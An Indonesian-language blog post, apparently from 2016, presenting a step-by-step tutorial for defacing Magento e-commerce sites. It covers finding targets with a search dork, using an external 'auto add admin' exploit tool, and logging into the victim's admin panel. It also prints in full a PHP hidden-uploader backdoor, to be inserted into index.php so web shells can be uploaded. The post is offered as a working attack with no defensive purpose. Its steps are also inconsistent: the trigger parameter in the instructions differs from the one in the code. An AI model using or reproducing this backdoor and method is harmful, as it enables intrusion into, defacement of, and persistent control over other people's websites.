Cara Deface Menggunakan Magento ADD Admin

(HACKING TUTORIAL)

Cara Deface Website Metode Magento Add Admin by Th3 Hunt3r 404

 Posted by : Rama Danadipa Putra Wijaya

 

 Add Comment

Wednesday, October 11, 2016

          Magento adalah sebuah open-source platform e-commerce yang ditulis dalam PHP. Perangkat lunak ini awalnya dikembangkan oleh Varien Inc, sebuah perusahaan swasta AS yang berkantor pusat di Culver City, California, dengan bantuan dari relawan.Varien menerbitkan rilis umum ketersediaan pertama dari perangkat lunak pada 31 Maret 2008. Roy Rubin, mantan CEO Varien, kemudian menjual saham besar perusahaan untuk eBay, yang akhirnya benar-benar diperoleh dan kemudian berputar off perusahaan.Menurut penelitian yang dilakukan oleh aheadWorks Mei 2015, pangsa pasar Magento di antara 30 platform e-commerce yang paling populer adalah sekitar 29,8%. [2]Pada tanggal 17 November, 2015, Magento 2.0 dirilis, dengan tujuan untuk memberikan cara baru untuk meningkatkan keterlibatan pengguna, navigasi halus, tingkat konversi dan generasi pendapatan keseluruhan, ia memiliki terorganisir dengan baik alat bisnis pengguna mempercepat membangun waktu dan meningkatkan produktivitas. [3] [4] Table mengunci masalah telah dikurangi, peningkatan Halaman Caching dan juga memungkinkan dalam merampingkan proses checkout Tamu untuk pengguna yang ada, [5] skalabilitas kelas perusahaan, meningkatkan kinerja dan basis kode yang lebih baik hanya beberapa manfaat baruversi Magento. [6]Magento mempekerjakan MySQL / MariaDB sistem manajemen database relasional, bahasa pemrograman PHP, dan unsur-unsur dari Zend Framework. [7] Ini berlaku konvensi pemrograman berorientasi objek dan arsitektur model-view-controller. Magento juga menggunakan model entitas-atribut-nilai untuk menyimpan data. [8]. 
Selebihnya lihat di https://en.wikipedia.org/wiki/Magento

Baiklah, kita mulai saja cara deface metode Magento Add Admin

1. Cari target menggunakan dork dibawah. Silahkan kembangkan sendiri.

                         inurl:/index.php/customer/account/login

2. Buka web auto add admin khusus Magento link nya ada di bawah

 http://sh.st/Psk1k

3. Masukan site targetnya pada kolom yang tersedia seperti pada gambar. Lalu, klik "submit"

4. Jika web tersebut vuln, maka tampilan seperti pada gambar. yang akan terdapan user dan link masuk ke adminnya.

5. Masuk ke link adminya, biasanya beralamatkan http://[site]/admin

6. Jika berhasil masuk, kira-kira tampilanya akan seperti ini.

7. Samapi sini pun terserah mau diapain ntuh web. Kalau mau unggah backdoor kalian silahkan masuk ke System => Filesystem => IDE . kalao kurang jelas bisa liat gambar.

 8. Nanti disitu ada file "index.php" tinggal klik ajah, terus tambahkan script hiden uploader. berikut script hiden uploader dar saya. JANGAN LUPA UNTUK DI SAVE.

 <?php

if($_GET["azis"] == "ganteng") { echo "<title>4Z15 &mdash; Uploader</title><style> body { background-color:#000000; } </style><center>
<font color=\"pink\"><form action=\"\" method=\"post\" enctype=\"multipart/form-data\"><input type=\"file\" name=\"filetoupload\"> <input type=\"submit\" value=\"upload backdoor\" name=\"submit\"></form></font></center>"; }

if(isset($_POST["submit"])) { if (@copy($_FILES["filetoupload"]["tmp_name"], $_FILES["filetoupload"]["name"])) { 
echo "<center><font face=\"Courier New\"><a href=\" ".$_FILES["filetoupload"]["name"]." \" style=\"text-decoration:none\"><font color=\"white\"> ". basename( $_FILES["filetoupload"]["name"])." </font></a><font color=\"#7FFF00\"> => </font><font color=\"#4169E1\">success</font><br><br></font></center>"; }
else { echo "<center><font face=\"Courier New\"><font color=\"white\"> ". basename( $_FILES["filetoupload"]["name"])." </font><font color=\"#7FFF00\"> => </font><font color=red>failed</font><br><br></font></center>"; }
}

?>

9. Panggil hiden uploadernya, karena tadi yang di edit di index tinggal gini cara manggilnya

http://[site]/?rama=ganteng

http://[site]/index.php?rama=ganteng

10. Unggah shell kalian. udah taukan, nggak usah gue suapin terus

11. Untuk letak shel ada di http://[site]/[namashelkalian]